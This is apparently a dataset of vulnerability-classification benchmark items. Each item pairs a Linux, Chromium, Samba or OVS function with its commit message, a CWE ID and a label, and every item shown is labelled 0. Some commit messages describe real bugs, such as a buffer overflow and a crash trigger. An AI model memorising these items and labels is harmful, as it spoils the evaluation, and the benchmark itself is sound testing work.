[ 353.375046] [<ffffffff81964c31>] ? nf_tables_commit+0x381/0x540
[ 353.375101] [<ffffffff81949118>] nfnetlink_rcv+0x3d8/0x4b0
[ 353.375150] [<ffffffff81943fc5>] netlink_unicast+0x105/0x1a0
[ 353.375200] [<ffffffff8194438e>] netlink_sendmsg+0x32e/0x790
[ 353.375253] [<ffffffff818f398e>] sock_sendmsg+0x8e/0xc0
[ 353.375300] [<ffffffff818f36b9>] ? move_addr_to_kernel.part.20+0x19/0x70
[ 353.375357] [<ffffffff818f44f9>] ? move_addr_to_kernel+0x19/0x30
[ 353.375410] [<ffffffff819016d2>] ? verify_iovec+0x42/0xd0
[ 353.375459] [<ffffffff818f3e10>] ___sys_sendmsg+0x3f0/0x400
[ 353.375510] [<ffffffff810615fa>] ? native_sched_clock+0x2a/0x90
[ 353.375563] [<ffffffff81176697>] ? acct_account_cputime+0x17/0x20
[ 353.375616] [<ffffffff8110dc78>] ? account_user_time+0x88/0xa0
[ 353.375667] [<ffffffff818f4bbd>] __sys_sendmsg+0x3d/0x80
[ 353.375719] [<ffffffff81b184f4>] ? int_check_syscall_exit_work+0x34/0x3d
[ 353.375776] [<ffffffff818f4c0d>] SyS_sendmsg+0xd/0x20
[ 353.375823] [<ffffffff81b1826d>] system_call_fastpath+0x16/0x1b
Release objects in this order: rules -> sets -> chains -> tables, to
make sure no references to chains are held anymore.
Reported-by: Asbjoern Sloth Toennesen <asbjorn@asbjorn.biz>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CWE ID: CWE-19
| 0
| 15,845
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void enforcedRangeUnsignedLongLongAttrAttributeSetterCallback(v8::Local<v8::String>, v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMSetter");
TestObjectV8Internal::enforcedRangeUnsignedLongLongAttrAttributeSetter(jsValue, info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 22,324
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static __init int sched_init_debug(void)
{
debugfs_create_file("sched_features", 0644, NULL, NULL,
&sched_feat_fops);
return 0;
}
Commit Message: Sched: fix skip_clock_update optimization
idle_balance() drops/retakes rq->lock, leaving the previous task
vulnerable to set_tsk_need_resched(). Clear it after we return
from balancing instead, and in setup_thread_stack() as well, so
no successfully descheduled or never scheduled task has it set.
Need resched confused the skip_clock_update logic, which assumes
that the next call to update_rq_clock() will come nearly immediately
after being set. Make the optimization robust against the waking
a sleeper before it sucessfully deschedules case by checking that
the current task has not been dequeued before setting the flag,
since it is that useless clock update we're trying to save, and
clear unconditionally in schedule() proper instead of conditionally
in put_prev_task().
Signed-off-by: Mike Galbraith <efault@gmx.de>
Reported-by: Bjoern B. Brandenburg <bbb.lst@gmail.com>
Tested-by: Yong Zhang <yong.zhang0@gmail.com>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: stable@kernel.org
LKML-Reference: <1291802742.1417.9.camel@marge.simson.net>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID:
| 0
| 21,757
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void nfs4_free_closedata(void *data)
{
struct nfs4_closedata *calldata = data;
struct nfs4_state_owner *sp = calldata->state->owner;
struct super_block *sb = calldata->state->inode->i_sb;
if (calldata->roc)
pnfs_roc_release(calldata->state->inode);
nfs4_put_open_state(calldata->state);
nfs_free_seqid(calldata->arg.seqid);
nfs4_put_state_owner(sp);
nfs_sb_deactive_async(sb);
kfree(calldata);
}
Commit Message: NFSv4: Check for buffer length in __nfs4_get_acl_uncached
Commit 1f1ea6c "NFSv4: Fix buffer overflow checking in
__nfs4_get_acl_uncached" accidently dropped the checking for too small
result buffer length.
If someone uses getxattr on "system.nfs4_acl" on an NFSv4 mount
supporting ACLs, the ACL has not been cached and the buffer suplied is
too short, we still copy the complete ACL, resulting in kernel and user
space memory corruption.
Signed-off-by: Sven Wegener <sven.wegener@stealer.net>
Cc: stable@kernel.org
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
CWE ID: CWE-119
| 0
| 10,683
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void V8TestObject::VoidMethodBooleanArgMethodCallback(const v8::FunctionCallbackInfo<v8::Value>& info) {
RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(), "Blink_TestObject_voidMethodBooleanArg");
test_object_v8_internal::VoidMethodBooleanArgMethod(info);
}
Commit Message: bindings: Support "attribute FrozenArray<T>?"
Adds a quick hack to support a case of "attribute FrozenArray<T>?".
Bug: 1028047
Change-Id: Ib3cecc4beb6bcc0fb0dbc667aca595454cc90c86
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1933866
Reviewed-by: Hitoshi Yoshida <peria@chromium.org>
Commit-Queue: Yuki Shiino <yukishiino@chromium.org>
Cr-Commit-Position: refs/heads/master@{#718676}
CWE ID:
| 0
| 23,360
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: size_t BaseArena::ObjectPayloadSizeForTesting() {
#if DCHECK_IS_ON()
DCHECK(IsConsistentForGC());
#endif
size_t object_payload_size = 0;
for (BasePage* page = first_unswept_page_; page; page = page->Next())
object_payload_size += page->ObjectPayloadSizeForTesting();
return object_payload_size;
}
Commit Message: [oilpan] Fix GCInfoTable for multiple threads
Previously, grow and access from different threads could lead to a race
on the table backing; see bug.
- Rework the table to work on an existing reservation.
- Commit upon growing, avoiding any copies.
Drive-by: Fix over-allocation of table.
Bug: chromium:841280
Change-Id: I329cb6f40091e14e8c05334ba1104a9440c31d43
Reviewed-on: https://chromium-review.googlesource.com/1061525
Commit-Queue: Michael Lippautz <mlippautz@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Cr-Commit-Position: refs/heads/master@{#560434}
CWE ID: CWE-362
| 0
| 10,949
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: const VisibleSelectionInFlatTree& FrameSelection::GetSelectionInFlatTree()
const {
return ComputeVisibleSelectionInFlatTree();
}
Commit Message: Move SelectionTemplate::is_handle_visible_ to FrameSelection
This patch moves |is_handle_visible_| to |FrameSelection| from |SelectionTemplate|
since handle visibility is used only for setting |FrameSelection|, hence it is
a redundant member variable of |SelectionTemplate|.
Bug: 742093
Change-Id: I3add4da3844fb40be34dcb4d4b46b5fa6fed1d7e
Reviewed-on: https://chromium-review.googlesource.com/595389
Commit-Queue: Yoshifumi Inoue <yosin@chromium.org>
Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org>
Reviewed-by: Kent Tamura <tkent@chromium.org>
Cr-Commit-Position: refs/heads/master@{#491660}
CWE ID: CWE-119
| 0
| 5,786
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int samldb_prim_group_set(struct samldb_ctx *ac)
{
struct ldb_context *ldb = ldb_module_get_ctx(ac->module);
uint32_t rid;
rid = ldb_msg_find_attr_as_uint(ac->msg, "primaryGroupID", (uint32_t) -1);
if (rid == (uint32_t) -1) {
/* we aren't affected of any primary group set */
return LDB_SUCCESS;
} else if (!ldb_request_get_control(ac->req, LDB_CONTROL_RELAX_OID)) {
ldb_set_errstring(ldb,
"The primary group isn't settable on add operations!");
return LDB_ERR_UNWILLING_TO_PERFORM;
}
return samldb_prim_group_tester(ac, rid);
}
Commit Message:
CWE ID: CWE-264
| 0
| 26,237
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: OVS_EXCLUDED(ofproto_mutex)
{
struct ofproto *ofproto = ofconn_get_ofproto(ofconn);
uint32_t meter_id = mm->meter.meter_id;
enum ofperr error = 0;
uint32_t first, last;
if (meter_id == OFPM13_ALL) {
first = 1;
last = ofproto->meter_features.max_meters;
} else {
if (!meter_id || meter_id > ofproto->meter_features.max_meters) {
return 0;
}
first = last = meter_id;
}
/* Delete the meters. */
ovs_mutex_lock(&ofproto_mutex);
meter_delete(ofproto, first, last);
ovs_mutex_unlock(&ofproto_mutex);
return error;
}
Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit
During bundle commit flows which are added in bundle are applied
to ofproto in-order. In case if a flow cannot be added (e.g. flow
action is go-to group id which does not exist), OVS tries to
revert back all previous flows which were successfully applied
from the same bundle. This is possible since OVS maintains list
of old flows which were replaced by flows from the bundle.
While reinserting old flows ovs asserts due to check on rule
state != RULE_INITIALIZED. This will work only for new flows, but
for old flow the rule state will be RULE_REMOVED. This is causing
an assert and OVS crash.
The ovs assert check should be modified to != RULE_INSERTED to prevent
any existing rule being re-inserted and allow new rules and old rules
(in case of revert) to get inserted.
Here is an example to trigger the assert:
$ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev
$ cat flows.txt
flow add table=1,priority=0,in_port=2,actions=NORMAL
flow add table=1,priority=0,in_port=3,actions=NORMAL
$ ovs-ofctl dump-flows -OOpenflow13 br-test
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL
$ cat flow-modify.txt
flow modify table=1,priority=0,in_port=2,actions=drop
flow modify table=1,priority=0,in_port=3,actions=group:10
$ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13
First flow rule will be modified since it is a valid rule. However second
rule is invalid since no group with id 10 exists. Bundle commit tries to
revert (insert) the first rule to old flow which results in ovs_assert at
ofproto_rule_insert__() since old rule->state = RULE_REMOVED.
Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com>
Signed-off-by: Ben Pfaff <blp@ovn.org>
CWE ID: CWE-617
| 0
| 13,007
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void InspectorPageAgent::didResizeMainFrame()
{
#if !OS(ANDROID)
if (m_enabled && m_state->getBoolean(PageAgentState::showSizeOnResize))
m_overlay->showAndHideViewSize(m_state->getBoolean(PageAgentState::showGridOnResize));
#endif
m_frontend->frameResized();
}
Commit Message: DevTools: remove references to modules/device_orientation from core
BUG=340221
Review URL: https://codereview.chromium.org/150913003
git-svn-id: svn://svn.chromium.org/blink/trunk@166493 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 19,708
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool RTCPeerConnectionHandler::RemoveTrackPlanB(
blink::WebRTCRtpSender* web_sender) {
DCHECK_EQ(configuration_.sdp_semantics, webrtc::SdpSemantics::kPlanB);
auto web_track = web_sender->Track();
auto it = FindSender(web_sender->Id());
if (it == rtp_senders_.end())
return false;
if (!(*it)->RemoveFromPeerConnection(native_peer_connection_.get()))
return false;
track_metrics_.RemoveTrack(MediaStreamTrackMetrics::Direction::kSend,
MediaStreamTrackMetricsKind(web_track),
web_track.Id().Utf8());
if (peer_connection_tracker_) {
auto sender_only_transceiver =
std::make_unique<RTCRtpSenderOnlyTransceiver>(
std::make_unique<RTCRtpSender>(*it->get()));
size_t sender_index = GetTransceiverIndex(*sender_only_transceiver);
peer_connection_tracker_->TrackRemoveTransceiver(
this, PeerConnectionTracker::TransceiverUpdatedReason::kRemoveTrack,
*sender_only_transceiver.get(), sender_index);
}
std::vector<std::string> stream_ids = (*it)->state().stream_ids();
rtp_senders_.erase(it);
for (const auto& stream_id : stream_ids) {
if (GetLocalStreamUsageCount(rtp_senders_, stream_id) == 0u) {
PerSessionWebRTCAPIMetrics::GetInstance()->DecrementStreamCounter();
}
}
return true;
}
Commit Message: Check weak pointers in RTCPeerConnectionHandler::WebRtcSetDescriptionObserverImpl
Bug: 912074
Change-Id: I8ba86751f5d5bf12db51520f985ef0d3dae63ed8
Reviewed-on: https://chromium-review.googlesource.com/c/1411916
Commit-Queue: Guido Urdaneta <guidou@chromium.org>
Reviewed-by: Henrik Boström <hbos@chromium.org>
Cr-Commit-Position: refs/heads/master@{#622945}
CWE ID: CWE-416
| 0
| 21,750
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int load_state_from_tss32(struct x86_emulate_ctxt *ctxt,
struct tss_segment_32 *tss)
{
int ret;
u8 cpl;
if (ctxt->ops->set_cr(ctxt, 3, tss->cr3))
return emulate_gp(ctxt, 0);
ctxt->_eip = tss->eip;
ctxt->eflags = tss->eflags | 2;
/* General purpose registers */
*reg_write(ctxt, VCPU_REGS_RAX) = tss->eax;
*reg_write(ctxt, VCPU_REGS_RCX) = tss->ecx;
*reg_write(ctxt, VCPU_REGS_RDX) = tss->edx;
*reg_write(ctxt, VCPU_REGS_RBX) = tss->ebx;
*reg_write(ctxt, VCPU_REGS_RSP) = tss->esp;
*reg_write(ctxt, VCPU_REGS_RBP) = tss->ebp;
*reg_write(ctxt, VCPU_REGS_RSI) = tss->esi;
*reg_write(ctxt, VCPU_REGS_RDI) = tss->edi;
/*
* SDM says that segment selectors are loaded before segment
* descriptors. This is important because CPL checks will
* use CS.RPL.
*/
set_segment_selector(ctxt, tss->ldt_selector, VCPU_SREG_LDTR);
set_segment_selector(ctxt, tss->es, VCPU_SREG_ES);
set_segment_selector(ctxt, tss->cs, VCPU_SREG_CS);
set_segment_selector(ctxt, tss->ss, VCPU_SREG_SS);
set_segment_selector(ctxt, tss->ds, VCPU_SREG_DS);
set_segment_selector(ctxt, tss->fs, VCPU_SREG_FS);
set_segment_selector(ctxt, tss->gs, VCPU_SREG_GS);
/*
* If we're switching between Protected Mode and VM86, we need to make
* sure to update the mode before loading the segment descriptors so
* that the selectors are interpreted correctly.
*/
if (ctxt->eflags & X86_EFLAGS_VM) {
ctxt->mode = X86EMUL_MODE_VM86;
cpl = 3;
} else {
ctxt->mode = X86EMUL_MODE_PROT32;
cpl = tss->cs & 3;
}
/*
* Now load segment descriptors. If fault happenes at this stage
* it is handled in a context of new task
*/
ret = __load_segment_descriptor(ctxt, tss->ldt_selector, VCPU_SREG_LDTR, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->es, VCPU_SREG_ES, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->cs, VCPU_SREG_CS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->ss, VCPU_SREG_SS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->ds, VCPU_SREG_DS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->fs, VCPU_SREG_FS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
ret = __load_segment_descriptor(ctxt, tss->gs, VCPU_SREG_GS, cpl, true);
if (ret != X86EMUL_CONTINUE)
return ret;
return X86EMUL_CONTINUE;
}
Commit Message: KVM: x86: Emulator fixes for eip canonical checks on near branches
Before changing rip (during jmp, call, ret, etc.) the target should be asserted
to be canonical one, as real CPUs do. During sysret, both target rsp and rip
should be canonical. If any of these values is noncanonical, a #GP exception
should occur. The exception to this rule are syscall and sysenter instructions
in which the assigned rip is checked during the assignment to the relevant
MSRs.
This patch fixes the emulator to behave as real CPUs do for near branches.
Far branches are handled by the next patch.
This fixes CVE-2014-3647.
Cc: stable@vger.kernel.org
Signed-off-by: Nadav Amit <namit@cs.technion.ac.il>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-264
| 0
| 8,256
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: vrrp_prio_handler(vector_t *strvec)
{
global_data->vrrp_process_priority = get_priority(strvec, "vrrp");
}
Commit Message: Add command line and configuration option to set umask
Issue #1048 identified that files created by keepalived are created
with mode 0666. This commit changes the default to 0644, and also
allows the umask to be specified in the configuration or as a command
line option.
Signed-off-by: Quentin Armitage <quentin@armitage.org.uk>
CWE ID: CWE-200
| 0
| 7,803
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void MediaStreamManager::SendMessageToNativeLog(const std::string& message) {
if (!BrowserThread::CurrentlyOn(BrowserThread::IO)) {
BrowserThread::PostTask(
BrowserThread::IO, FROM_HERE,
base::BindOnce(&MediaStreamManager::SendMessageToNativeLog, message));
return;
}
MediaStreamManager* msm = g_media_stream_manager_tls_ptr.Pointer()->Get();
if (!msm) {
return;
}
msm->AddLogMessageOnIOThread(message);
}
Commit Message: Fix MediaObserver notifications in MediaStreamManager.
This CL fixes the stream type used to notify MediaObserver about
cancelled MediaStream requests.
Before this CL, NUM_MEDIA_TYPES was used as stream type to indicate
that all stream types should be cancelled.
However, the MediaObserver end does not interpret NUM_MEDIA_TYPES this
way and the request to update the UI is ignored.
This CL sends a separate notification for each stream type so that the
UI actually gets updated for all stream types in use.
Bug: 816033
Change-Id: Ib7d3b3046d1dd0976627f8ab38abf086eacc9405
Reviewed-on: https://chromium-review.googlesource.com/939630
Commit-Queue: Guido Urdaneta <guidou@chromium.org>
Reviewed-by: Raymes Khoury <raymes@chromium.org>
Cr-Commit-Position: refs/heads/master@{#540122}
CWE ID: CWE-20
| 0
| 6,323
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void SoftVPX::onQueueFilled(OMX_U32 /* portIndex */) {
if (mOutputPortSettingsChange != NONE || mEOSStatus == OUTPUT_FRAMES_FLUSHED) {
return;
}
List<BufferInfo *> &inQueue = getPortQueue(0);
List<BufferInfo *> &outQueue = getPortQueue(1);
bool EOSseen = false;
vpx_codec_err_t err;
bool portWillReset = false;
while ((mEOSStatus == INPUT_EOS_SEEN || !inQueue.empty())
&& !outQueue.empty()) {
if (mEOSStatus == INPUT_EOS_SEEN || mImg != NULL) {
if (!outputBuffers(
mEOSStatus == INPUT_EOS_SEEN, true /* display */,
mEOSStatus == INPUT_EOS_SEEN, &portWillReset)) {
ALOGE("on2 decoder failed to output frame.");
notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL);
return;
}
if (portWillReset || mEOSStatus == OUTPUT_FRAMES_FLUSHED ||
mEOSStatus == INPUT_EOS_SEEN) {
return;
}
}
BufferInfo *inInfo = *inQueue.begin();
OMX_BUFFERHEADERTYPE *inHeader = inInfo->mHeader;
mTimeStamps[mTimeStampIdx] = inHeader->nTimeStamp;
BufferInfo *outInfo = *outQueue.begin();
OMX_BUFFERHEADERTYPE *outHeader = outInfo->mHeader;
if (inHeader->nFlags & OMX_BUFFERFLAG_EOS) {
mEOSStatus = INPUT_EOS_SEEN;
EOSseen = true;
}
if (inHeader->nFilledLen > 0 &&
vpx_codec_decode((vpx_codec_ctx_t *)mCtx,
inHeader->pBuffer + inHeader->nOffset,
inHeader->nFilledLen,
&mTimeStamps[mTimeStampIdx], 0)) {
ALOGE("on2 decoder failed to decode frame.");
notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL);
return;
}
mTimeStampIdx = (mTimeStampIdx + 1) % kNumBuffers;
if (!outputBuffers(
EOSseen /* flushDecoder */, true /* display */, EOSseen, &portWillReset)) {
ALOGE("on2 decoder failed to output frame.");
notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL);
return;
}
if (portWillReset) {
return;
}
inInfo->mOwnedByUs = false;
inQueue.erase(inQueue.begin());
inInfo = NULL;
notifyEmptyBufferDone(inHeader);
inHeader = NULL;
}
}
Commit Message: Add VPX output buffer size check
and handle dead observers more gracefully
Bug: 27597103
Change-Id: Id7acb25d5ef69b197da15ec200a9e4f9e7b03518
CWE ID: CWE-264
| 0
| 17,036
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void rt_cache_invalidate(struct net *net)
{
unsigned char shuffle;
get_random_bytes(&shuffle, sizeof(shuffle));
atomic_add(shuffle + 1U, &net->ipv4.rt_genid);
}
Commit Message: net: Compute protocol sequence numbers and fragment IDs using MD5.
Computers have become a lot faster since we compromised on the
partial MD4 hash which we use currently for performance reasons.
MD5 is a much safer choice, and is inline with both RFC1948 and
other ISS generators (OpenBSD, Solaris, etc.)
Furthermore, only having 24-bits of the sequence number be truly
unpredictable is a very serious limitation. So the periodic
regeneration and 8-bit counter have been removed. We compute and
use a full 32-bit sequence number.
For ipv6, DCCP was found to use a 32-bit truncated initial sequence
number (it needs 43-bits) and that is fixed here as well.
Reported-by: Dan Kaminsky <dan@doxpara.com>
Tested-by: Willy Tarreau <w@1wt.eu>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID:
| 0
| 9,406
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int page_mapped_in_vma(struct page *page, struct vm_area_struct *vma)
{
unsigned long address;
pte_t *pte;
spinlock_t *ptl;
address = __vma_address(page, vma);
if (unlikely(address < vma->vm_start || address >= vma->vm_end))
return 0;
pte = page_check_address(page, vma->vm_mm, address, &ptl, 1);
if (!pte) /* the page is not in this mm */
return 0;
pte_unmap_unlock(pte, ptl);
return 1;
}
Commit Message: mm: try_to_unmap_cluster() should lock_page() before mlocking
A BUG_ON(!PageLocked) was triggered in mlock_vma_page() by Sasha Levin
fuzzing with trinity. The call site try_to_unmap_cluster() does not lock
the pages other than its check_page parameter (which is already locked).
The BUG_ON in mlock_vma_page() is not documented and its purpose is
somewhat unclear, but apparently it serializes against page migration,
which could otherwise fail to transfer the PG_mlocked flag. This would
not be fatal, as the page would be eventually encountered again, but
NR_MLOCK accounting would become distorted nevertheless. This patch adds
a comment to the BUG_ON in mlock_vma_page() and munlock_vma_page() to that
effect.
The call site try_to_unmap_cluster() is fixed so that for page !=
check_page, trylock_page() is attempted (to avoid possible deadlocks as we
already have check_page locked) and mlock_vma_page() is performed only
upon success. If the page lock cannot be obtained, the page is left
without PG_mlocked, which is again not a problem in the whole unevictable
memory design.
Signed-off-by: Vlastimil Babka <vbabka@suse.cz>
Signed-off-by: Bob Liu <bob.liu@oracle.com>
Reported-by: Sasha Levin <sasha.levin@oracle.com>
Cc: Wanpeng Li <liwanp@linux.vnet.ibm.com>
Cc: Michel Lespinasse <walken@google.com>
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Acked-by: Rik van Riel <riel@redhat.com>
Cc: David Rientjes <rientjes@google.com>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Hugh Dickins <hughd@google.com>
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 0
| 6,803
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PassRefPtr<ShareableElementData> ShareableElementData::createWithAttributes(const Vector<Attribute>& attributes)
{
void* slot = WTF::fastMalloc(sizeForShareableElementDataWithAttributeCount(attributes.size()));
return adoptRef(new (slot) ShareableElementData(attributes));
}
Commit Message: Set Attr.ownerDocument in Element#setAttributeNode()
Attr objects can move across documents by setAttributeNode().
So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded().
BUG=248950
TEST=set-attribute-node-from-iframe.html
Review URL: https://chromiumcodereview.appspot.com/17583003
git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 27,707
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.